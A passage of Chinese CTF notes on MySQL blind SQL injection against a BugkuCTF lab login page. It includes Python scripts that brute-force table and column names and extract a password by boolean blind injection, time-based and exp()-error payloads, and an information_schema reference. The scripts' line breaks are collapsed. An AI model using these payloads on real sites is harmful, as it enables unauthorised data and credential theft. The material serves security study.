f = open("常用数据库表名.txt", "r")# TODO: 换成你自己题目的 URL 地址(每次启动场景都不一样)
url = "http://117.72.52.127:19372/login.php"# 开始查询
for tableName in f:payload = f"xxx'-(SELECT(0)FROM(bugkuctf.{tableName.strip()}))-'"data = {"uname": payload, "passwd": "xxx"}res = requests.post(url, data=data).textif "password error!!" in res:print(tableName.strip())
【3】爆破列名(用到了子查询)
FROM 里的整体如果列不存在会报错,整个 SQL 语句也就报错了,最后那个t是为了给这个子查询结果的派生表别名保证整个 SQL 语句不报错就行
xxx'-(SELECT(0)FROM(SELECT(列名)FROM(admin))t)-'
脚本:
import requests# 常用数据库名字
f = open("常用密码列名字典.txt", "r")# TODO: 换成你自己题目的 URL 地址(每次启动场景都不一样)
url = "http://117.72.52.127:19372/login.php"# 开始查询
for columns in f:payload = f"xxx'-(SELECT(0)FROM(SELECT({columns.strip()})FROM(admin))t)-'"data = {"uname": payload, "passwd": "xxx"}res = requests.post(url, data=data).textif "password error!!" in res:print(columns.strip())
【3】假设已知表名为admin,列名为passwd
xxx'-(ascii(mid((SELECT(passwd)FROM(admin))from(1)))>97)-'
import requests
import stringurl = 'http://117.72.52.127:19372/login.php'
# string.digits:一个 Python 常量(包含 0-9 的数字)
# string.ascii_lowercase:一个 Python 常量(包含 a-z 的小写字母)
# string.ascii_uppercase:一个 Python 常量(包含 A-Z 的大写字母)
sss = string.digits + string.ascii_lowercase + string.ascii_uppercase # 0-9a-zA-Z 所有字符
pwd = ''
for i in range(1, 50): # 先假设密码长度是 50 个字符的for j in sss:payload = f"xxx'-(ascii(mid((SELECT(passwd)FROM(admin))from({i})))>{ord(j)})-'"data = {'uname': payload, 'passwd': 'xxx'}res = requests.post(url, data=data).text# 当第一次出现密码错误时,证明 or 后面的条件不成立也就是查询的密码当前位的 ASCII 码不大于就是等于当前字符的 ASCII 码了,所以记录当前字符if 'password error!!' in res:pwd += jbreakprint(pwd)
注:最后发现后面一堆 0 其实是没查到那个位置的密码,但是 SQL 注入还是 0,保存下来的字符,所以从最后一个 2 往前都是有用的,复制到 MD5 解密,密码也是 bugkuctf 
(三)时间盲注函数
时间盲注适用于页面无论 SQL 语句执行结果真假,返回的内容、状态码都完全一致,无法通过页面差异判断注入结果的场景,完全依靠 SQL 语句执行的时间延迟来判断数据内容。
常用的函数包括 if ()、sleep ()、benchmark ()。
执行逻辑为:通过 if () 构造条件判断语句,当猜解的条件为真时,执行 sleep () 函数让数据库延迟响应,条件为假时则立即返回;根据页面响应的时间差,逐位猜解出目标数据。benchmark () 函数适用于 sleep () 被过滤的场景,通过执行大量重复运算制造时间延迟
【1】if()函数的语法
if(condtion,a,b),若condtion为真,则返回a,否则返回b
select if(substr(database(),1,1))='p',sleep(3),'b');来测试
一、if()配合exp()注入
if(A,1,exp(710))##若条件A为真,则返回1,反之返回exp(710), MySQL 中,exp(710) 会导致一个数值溢出错误(DOUBLE value is out of range)
配合exp()函数
【1】已知id=1正常返回
payload:
1/if(ascii(substr(database(),1,1))>100, 1, exp(710))#当条件为真时,if返回1,1/1结果为1
#为假时,if 函数会先执行 exp(710),直接触发数据库报错,整个除法运算根本不会发生
六、information_schema库中的表:
- SCHEMATA表:提供了当前MySQL实例中所有数据库的信息。是s
how databases的结果取之此表。 - TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是
show tables from schemaname的结果取之此表。 - COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是
show columns from schemaname.tablename的结果取之此表。 - STATISTICS表:提供了关于表索引的信息。是
show index from schemaname.tablename的结果取之此表。 - USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。
- SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。
- TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。
- COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。
- CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是
SHOW CHARACTER SET结果集取之此表。 - COLLATIONS表:提供了关于各字符集的对照信息。
- COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于
SHOW COLLATION的前两个显示字段。 - TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。
- KEY_COLUMN_USAGE表:描述了具有约束的键列。
- ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
- VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。
- TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表
